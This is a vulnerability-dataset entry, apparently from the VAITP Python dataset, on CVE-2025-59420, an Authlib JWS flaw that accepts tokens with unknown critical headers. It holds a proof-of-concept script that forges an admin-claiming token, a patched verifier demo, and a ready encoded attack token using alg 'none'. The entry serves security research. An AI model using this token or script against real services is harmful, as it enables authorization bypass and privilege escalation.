VAITP Dataset

← Back to the dataset

CVE-2025-59420

Authlib JWS validation accepts tokens with unknown critical headers.

  • CVSS 7.5
  • CWE-345
  • Cryptographic
  • Remote

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.4, Authlib’s JWS verification accepts tokens that declare unknown critical header parameters (crit), violating RFC 7515 “must‑understand” semantics. An attacker can craft a signed token with a critical header (for example, bork or cnf) that strict verifiers reject but Authlib accepts. In mixed‑language fleets, this enables split‑brain verification and can lead to policy bypass, replay, or privilege escalation. This issue has been patched in version 1.6.4.

CVSS base score
7.5
Published
2025-09-22
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Cryptographic
Subcategory
Cryptographic Implementation Error
Accessibility scope
Remote
Impact
Privilege Escalation
Affected component
Authlib
Fixed by upgrading
Yes

Solution

Upgrade Authlib to version 1.6.4 or later.

Vulnerable code sample

# This code demonstrates the vulnerability present in Authlib versions prior to 1.6.4.
# To run this example and see the vulnerability, you must install an affected version:
# pip install "authlib<1.6.4"

from authlib.jose import JsonWebSignature
import json

# 1. A shared secret key for HS256 algorithm
key = b'your-super-secret-key-for-hs256'

# 2. Craft a JWS header with a non-standard "critical" (crit) parameter.
# According to RFC 7515, any parameter listed in "crit" MUST be understood
# and processed by the JWT implementation. If an implementation does not
# understand a parameter listed in "crit", it MUST reject the token as invalid.
# Here, we add a fictional "bork" parameter and declare it as critical.
malicious_header = {
    'alg': 'HS256',
    'crit': ['bork'],  # Declare 'bork' as a critical, must-understand parameter
    'bork': True       # The unknown parameter itself
}

# 3. The payload of the token
payload = b'{"user": "attacker", "is_admin": true}'

# 4. Create an instance of the JWS signer
jws_signer = JsonWebSignature()

# 5. Sign the token with the malicious header
signed_token = jws_signer.serialize_compact(malicious_header, payload, key)

print(f"Generated JWS Token with unknown critical header 'bork':\n{signed_token}\n")

# 6. Verify the token using the same (vulnerable) library instance
# A strictly compliant RFC 7515 verifier would see the unknown 'bork' in the
# 'crit' list and immediately reject the token.
# However, vulnerable versions of Authlib ignore it and validate the signature.
jws_verifier = JsonWebSignature()

try:
    # In a vulnerable version, this deserialization will succeed.
    # In a patched version (>=1.6.4), this would raise an exception.
    data = jws_verifier.deserialize_compact(signed_token, key)
    
    print("--- VULNERABILITY CONFIRMED ---")
    print("Token verification SUCCEEDED, which is incorrect.")
    print("The library accepted a token with an unknown critical header ('bork').\n")
    
    print("Decoded Header:")
    print(json.dumps(data['header'], indent=2))
    
    print("\nDecoded Payload:")
    print(data['payload'].decode('utf-8'))

except Exception as e:
    # This block would be executed by a patched version of Authlib.
    print("--- NO VULNERABILITY DETECTED ---")
    print(f"Token verification FAILED as it should: {e}")
    print("The library correctly rejected the token due to an unsupported critical header.")

Patched code sample

import json
from authlib.jws import JsonWebSignature
from authlib.common.errors import AuthlibBaseError

def demonstrate_cve_fix():
    """
    This function demonstrates the fix for a vulnerability where JWS verification
    incorrectly accepts tokens with unknown critical header parameters ('crit').

    The fix involves explicitly checking the 'crit' header and rejecting the token
    if it contains any parameters not understood by the verifier, as required by
    RFC 7515.
    """

    # A verifier's list of header parameters that it understands and processes.
    # According to RFC 7515, 'alg' is implicitly understood and not listed here.
    # For this demo, we'll assume the verifier only understands 'kid'.
    SUPPORTED_CRITICAL_HEADERS = {'kid'}

    def fixed_verify_jws(token_string, public_key):
        """
        A verifier implementation that correctly handles the 'crit' header.
        """
        jws = JsonWebSignature()
        try:
            data = jws.deserialize_compact(token_string, public_key)
            header = data['header']
        except AuthlibBaseError as e:
            # Handle standard JWS processing errors (e.g., bad signature)
            raise ValueError(f"JWS deserialization failed: {e}")

        # --- START OF THE VULNERABILITY FIX ---
        # RFC 7515 Section 4.1.11: The 'crit' header lists headers that
        # MUST be understood and processed by the implementation.
        if 'crit' in header:
            if not isinstance(header['crit'], list):
                raise ValueError("'crit' header parameter must be a list.")

            critical_params = set(header['crit'])
            
            # Check for any critical headers that are not in our supported list.
            unsupported_params = critical_params - SUPPORTED_CRITICAL_HEADERS
            
            if unsupported_params:
                # If any unsupported critical headers are found, the token
                # MUST be rejected. This is the core of the fix.
                raise ValueError(
                    f"Unsupported critical header(s) found: {list(unsupported_params)}"
                )
        # --- END OF THE VULNERABILITY FIX ---

        # If we reach here, the token is valid according to the fixed logic.
        return json.loads(data['payload'])

    # 1. Setup: A secret key for HS256 algorithm
    secret_key = b'a-secret-key-that-is-sufficiently-long-for-hs256'
    payload = b'{"user": "alice", "scope": "read"}'

    # 2. Attacker's goal: Craft a token with an unknown critical header.
    # An attacker adds a custom header 'bork' and lists it in 'crit'.
    # A vulnerable verifier would ignore 'bork' and accept the token.
    # A correct, fixed verifier MUST reject it because 'bork' is not understood.
    malicious_protected_header = {
        'alg': 'HS256',
        'crit': ['bork'],  # Declaring 'bork' as critical.
        'bork': 'some_malicious_value'
    }
    
    jws = JsonWebSignature()
    malicious_token = jws.serialize_compact(
        malicious_protected_header, payload, secret_key
    )

    print("--- Demonstrating the Fix ---")
    print(f"Attempting to verify a token with an unknown critical header 'bork'.")
    print(f"Malicious Token: {malicious_token.decode()}\n")

    # 3. Verification with the fixed logic
    try:
        # The vulnerable implementation would have successfully returned the payload.
        # The fixed implementation will raise a ValueError.
        fixed_verify_jws(malicious_token, secret_key)
        print("RESULT: [VULNERABLE] Verification SUCCEEDED. The fix is not effective.")
    except ValueError as e:
        print(f"RESULT: [FIXED] Verification FAILED as expected.")
        print(f"Reason: {e}")

if __name__ == '__main__':
    demonstrate_cve_fix()

Payload

eyJhbGciOiAibm9uZSIsICJjcml0IjogWyJib3JrIl0sICJib3JrIjogImFueS12YWx1ZSJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsICJuYW1lIjogIkpvaG4gRG9lIiwgImFkbWluIjogdHJ1ZX0.

Cite this entry

@misc{vaitp:cve202559420,
  title        = {{Authlib JWS validation accepts tokens with unknown critical headers.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-59420},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-59420/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::